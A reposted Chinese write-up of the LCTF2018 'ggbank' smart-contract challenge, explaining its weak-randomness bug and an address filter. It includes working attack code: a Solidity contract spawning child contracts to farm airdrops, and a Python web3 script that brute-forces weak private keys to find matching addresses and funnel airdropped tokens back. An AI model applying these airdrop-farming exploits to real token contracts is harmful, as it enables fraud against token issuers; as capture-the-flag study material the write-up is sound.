内容简介:11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank,题目的原意是考察弱随机数问题,但在题目的设定上挺有意思的,加入了一个对地址的验证,导致弱随机的难度高了许多,反倒是薅羊毛更快乐了,下面就借这个题聊聊关于薅羊毛的实战操作。首先我们照例来分析一下源代码和之前我出的题风格一致,首先是发行了一种token,然后基于token的挑战代码,主要有几个点
11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank,题目的原意是考察弱随机数问题,但在题目的设定上挺有意思的,加入了一个对地址的验证,导致弱随机的难度高了许多,反倒是薅羊毛更快乐了,下面就借这个题聊聊关于薅羊毛的实战操作。
分析
首先我们照例来分析一下源代码
和之前我出的题风格一致,首先是发行了一种token,然后基于token的挑战代码,主要有几个点
modifier authenticate{ //修饰器,在authenticate关键字做修饰器时,会执行该函数 require(checkfriend(msg.sender));_; // 对来源做checkfriend判断 }
跟着看checkfriend函数
function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { //逐渐对比最后5位 if (addr & gg == id) { // 当地址中包含7d7ec时可以继续 return true; } gg <<= 4; id <<= 4; } return false; }
checkfriend就是整个挑战最大的难点,也大幅度影响了思考的方向,这个稍后再谈。
function getAirdrop()publicauthenticatereturns(bool success){ if (!initialized[msg.sender]) { //空投 initialized[msg.sender] = true; balances[msg.sender] = _airdropAmount; _totalSupply += _airdropAmount; } return true; }
空投函数没看有什么太可说的,就是对每一个新用户都发一次空投。
然后就是goodluck函数
function goodluck()publicpayableauthenticatereturns(bool success){ require(!locknumber[block.number]); //判断block.numbrt require(balances[msg.sender]>=100); //余额大于100 balances[msg.sender]-=100; //每次调用要花费100token uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //随机数 if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //随机数判断 balances[msg.sender]+=20000; _totalSupply +=20000; locknumber[block.number] = true; } return true; }
然后只要余额大于200000就可以拿到flag。
其实代码特别简单,漏洞也不难,就是非常常见的弱随机数问题。
随机数的生成方式为
uint random=uint(keccak256(abi.encodePacked(block.number)))% 100;
另一个的生成方式为
uint(keccak256(abi.encodePacked(msg.sender))) % 100
其实非常简单,这两个数字都是已知的,msg.sender可以直接控制已知的地址,那么左值就是已知的,剩下的就是要等待一个右值出现,由于block.number是自增的,我们可以通过提前计算出一个block.number,然后写脚本监控这个值出现,提前开始发起交易抢打包,就ok了。具体我就不详细提了。可以看看出题人的wp。
https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank
但问题就在于,这种操作要等block.number出现,而且还要抢打包,毕竟还是不稳定的。所以在做题的时候我们关注到另一条路, 薅羊毛 ,这里重点说说这个。
合约薅羊毛
在想到原来的思路过于复杂之后,我就顺理成章的想到薅羊毛这条路,然后第一反正就是直接通过合约建合约的方式来碰这个概率。
思路来自于最早发现的薅羊毛合约 https://paper.seebug.org/646/
这个合约有几个很精巧的点。
首先我们需要有基本的概念, 在以太坊上发起交易是需要支付gas的 ,如果我们不通过合约来交易,那么这笔gas就必须先转账过去eth,然后再发起交易,整个过程困难了好几倍不止。
然后就有了新的问题,在合约中新建合约在EVM中,是属于高消费的操作之一, 在以太坊中,每一次交易都会打包进一个区块中,而每一个区块都有gas消费的上限,如果超过了上限,就会爆gas out,然后交易回滚,交易就失败了。
contract attack{ address target = 0x7caa18D765e5B4c3BF0831137923841FE3e7258a; function checkfriend(address _addr)internalpurereturns(bool success){ bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { if (addr & gg == id) { return true; } gg <<= 4; id <<= 4; } return false; } function attack(){ // getairdrop if(checkfriend(address(this))){ target.call(bytes4(keccak256('getAirdrop()'))); target.call(bytes4(keccak256("transfer(address,uint256)")),0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C, 1000); } } } contract doit{ function doit()payable{ } function attack_starta()public{ for(int i=0;i<=50;i++){ new attack(); } } function ()payable{ } }
上述的poc中,有一个很特别的点就是我加入了checkfriend的判断,因为我发现循环中如果新建合约的函数调用revert会导致整个交易报错,所以我干脆把整个判断放上来,在判断后再发起交易。
可问题来了,我尝试跑了几波之后发现完全不行,我忽略了一个问题。
让我们回到checkfriend
function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { if (addr & gg == id) { return true; } gg <<= 4; id <<= 4; } return false; }
checkfriend只接受地址中带有7d7ec的地址交易,光是这几个字母出现的概率就只有 1/36*1/36*1/36*1/36*1/36
这个几率在每次随机生成50个合约上计算的话,概率就太小了。
必须要找新的办法来解决才行。
python脚本解决方案
既然在合约上没办法,那么我直接换用 python 写脚本来解决。
这个挑战最大的问题就在于checkfriend这里,那么我们直接换一种思路,如果我们去爆破私钥去恢复地址,是不是更有效一点儿?
其实爆破的方式非常多,但有的恢复特别慢,也不知道瓶颈在哪,在换了几种方式之后呢,我终于找到了一个特别快的恢复方式。
from ethereum.utils import privtoaddr, encode_hex for i in range(1000000,100000000): private_key = "%064d" % i address = "0x" + encode_hex(privtoaddr(private_key))
我们拿到了地址之后就简单了,首先先转0.01eth给它,然后用私钥发起交易,获得空投、转账回来。
需要注意的是,转账之后需要先等到转账这个交易打包成功,之后才能继续下一步交易,需要多设置一步等待。
有个更快的方案是,先跑出200个地址,然后再批量转账,最后直接跑起来,不过想了一下感觉其实差不太多,因为整个脚本跑下来也就不到半小时,速度还是很可观的。
脚本如下
import ecdsa import sha3 from binascii import hexlify, unhexlify from ethereum.utils import privtoaddr, encode_hex from web3 import Web3 import os import traceback import time my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d") assert my_ipc.isConnected() w3 = Web3(my_ipc) target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a" ggbank = [ { "constant": True, "inputs": [], "name": "name", "outputs": [ { "name": "", "type": "string" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "totalSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [ { "name": "", "type": "address" } ], "name": "balances", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "INITIAL_SUPPLY", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "decimals", "outputs": [ { "name": "", "type": "uint8" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "_totalSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "_airdropAmount", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [ { "name": "owner", "type": "address" } ], "name": "balanceOf", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "owner", "outputs": [ { "name": "", "type": "address" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "symbol", "outputs": [ { "name": "", "type": "string" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": False, "inputs": [ { "name": "_to", "type": "address" }, { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [ { "name": "success", "type": "bool" } ], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": False, "inputs": [ { "name": "b64email", "type": "string" } ], "name": "PayForFlag", "outputs": [ { "name": "success", "type": "bool" } ], "payable": True, "stateMutability": "payable", "type": "function" }, { "constant": False, "inputs": [], "name": "getAirdrop", "outputs": [ { "name": "success", "type": "bool" } ], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": False, "inputs": [], "name": "goodluck", "outputs": [ { "name": "success", "type": "bool" } ], "payable": True, "stateMutability": "payable", "type": "function" }, { "inputs": [], "payable": False, "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": False, "inputs": [ { "indexed": False, "name": "b64email", "type": "string" }, { "indexed": False, "name": "back", "type": "string" } ], "name": "GetFlag", "type": "event" } ] mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C" mytarget_private_key = 这是私钥 transaction_dict = {'chainId': 3, 'from':Web3.toChecksumAddress(mytarget), 'to':'', # empty address for deploying a new contract 'gasPrice':10000000000, 'gas':200000, 'nonce': None, 'value':10000000000000000, 'data':""} ggbank_ins = w3.eth.contract(abi=ggbank) ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target)) nonce = 0 def transfer(address, private_key): print(address) global nonce # 发钱 if not nonce: nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget)) transaction_dict['nonce'] = nonce transaction_dict['to'] = Web3.toChecksumAddress(address) signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key) result = w3.eth.sendRawTransaction(signed.rawTransaction) nonce +=1 while 1: if w3.eth.getBalance(Web3.toChecksumAddress(address)) >0: break time.sleep(1) # 空投 nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address)) transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')}) print(transaction2) signed2 = w3.eth.account.signTransaction(transaction2, private_key) result2 = w3.eth.sendRawTransaction(signed2.rawTransaction) # 转账 nonce2+=1 transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')}) print(transaction3) signed3 = w3.eth.account.signTransaction(transaction3, private_key) result3 = w3.eth.sendRawTransaction(signed3.rawTransaction) if __name__ == '__main__': j = 0 for i in range(1000000,100000000): private_key = "%064d" % i # address = create_address(private_key) # print(address) # if "7d7ec" in address: # print(address) address = "0x" + encode_hex(privtoaddr(private_key)) if "7d7ec" in address: private_key = unhexlify(private_key) print(j) try: transfer(address, private_key) except: traceback.print_exc() print("error:"+str(j)) j+=1
最终效果显著
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- DigitalOcean 的羊毛
- 写个脚本薅区块鱼羊毛
- 褥当当羊毛:170元购400元书
- 时间有限,快来薅,当当的羊毛!!!
- 警报!黑客、羊毛党和矿工正在入侵EOS
- 黑客薅羊毛新招,小心零手续费的“拾荒攻击”
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Bulletproof Ajax中文版
Jeremy Keith / 刘申、宋薇 / 人民邮电出版社 / 2007-11 / 39.00元
本书介绍了如何构建无懈可击的Ajax Web应用程序,重点讲述如何在已有Web站点使用Ajax增强网站用户体验,从而尽可能地保证网站拥有最大限度的可移植性和亲和力,这正是目前大多数网站面临的需求。书中主要介绍了JavaScript、DOM、XMLHttpRequest、数据格式等,同时还提出了一种Hijax方法,即可以让Web应用程序平稳退化的方法。 本书适合各层次Web开发和设计人员阅读......一起来看看 《Bulletproof Ajax中文版》 这本书的介绍吧!